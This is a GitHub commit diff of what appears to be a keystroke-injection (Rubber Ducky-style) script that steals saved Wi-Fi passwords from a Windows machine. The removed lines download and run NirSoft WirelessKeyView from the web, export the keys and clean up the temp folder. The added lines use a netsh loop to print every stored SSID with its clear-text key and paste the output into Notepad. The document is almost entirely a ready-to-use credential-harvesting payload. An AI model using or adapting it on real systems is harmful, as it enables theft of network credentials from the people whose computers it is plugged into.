Rewrite to use batch commands instead of nirsoft tools

This commit is contained in:
moosehadley 2022-05-20 14:21:07 -04:00 committed by GitHub
parent 0e4a9f22dc
commit fec1af0922
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23

View File

@ -1,37 +1,7 @@
GUI r GUI r
DELAY 1000 DELAY 1000
STRING powershell STRING cmd
ENTER ENTER
DELAY 1000 DELAY 1000
STRING mkdir \temp ; cd \temp ; Invoke-WebRequest -Headers @{'Referer' = 'https://www.nirsoft.net/utils/wireless_key.html'} -Uri https://www.nirsoft.net/toolsdownload/wirelesskeyview.zip -OutFile wkv.zip ; Invoke-WebRequest -Uri https://www.7-zip.org/a/7za920.zip -OutFile 7z.zip ; Expand-Archive 7z.zip ; .\7z\7za.exe e wkv.zip STRING for /f "skip=9 tokens=1,2 delims=:" %i in ('netsh wlan show profiles') do @echo %j | netsh wlan show profiles %j key=clear | findstr /C:"SSID name" /C:"Key Content"
ENTER ENTER
DELAY 5000
STRING WKey4567#
ENTER
STRING .\WirelessKeyView.exe /export keys.txt
ENTER
DELAY 1000
LEFT
ENTER
DELAY 1000
STRING NOTEPAD.EXE keys.txt
ENTER
DELAY 1000
CTRL A
CTRL C
ALT F4
DELAY 1000
STRING cd \
ENTER
STRING rmdir -R /temp
ENTER
STRING EXIT
ENTER
GUI r
DELAY 1000
STRING notepad.exe
ENTER
DELAY 1000
CTRL V
ENTER
STRING Done...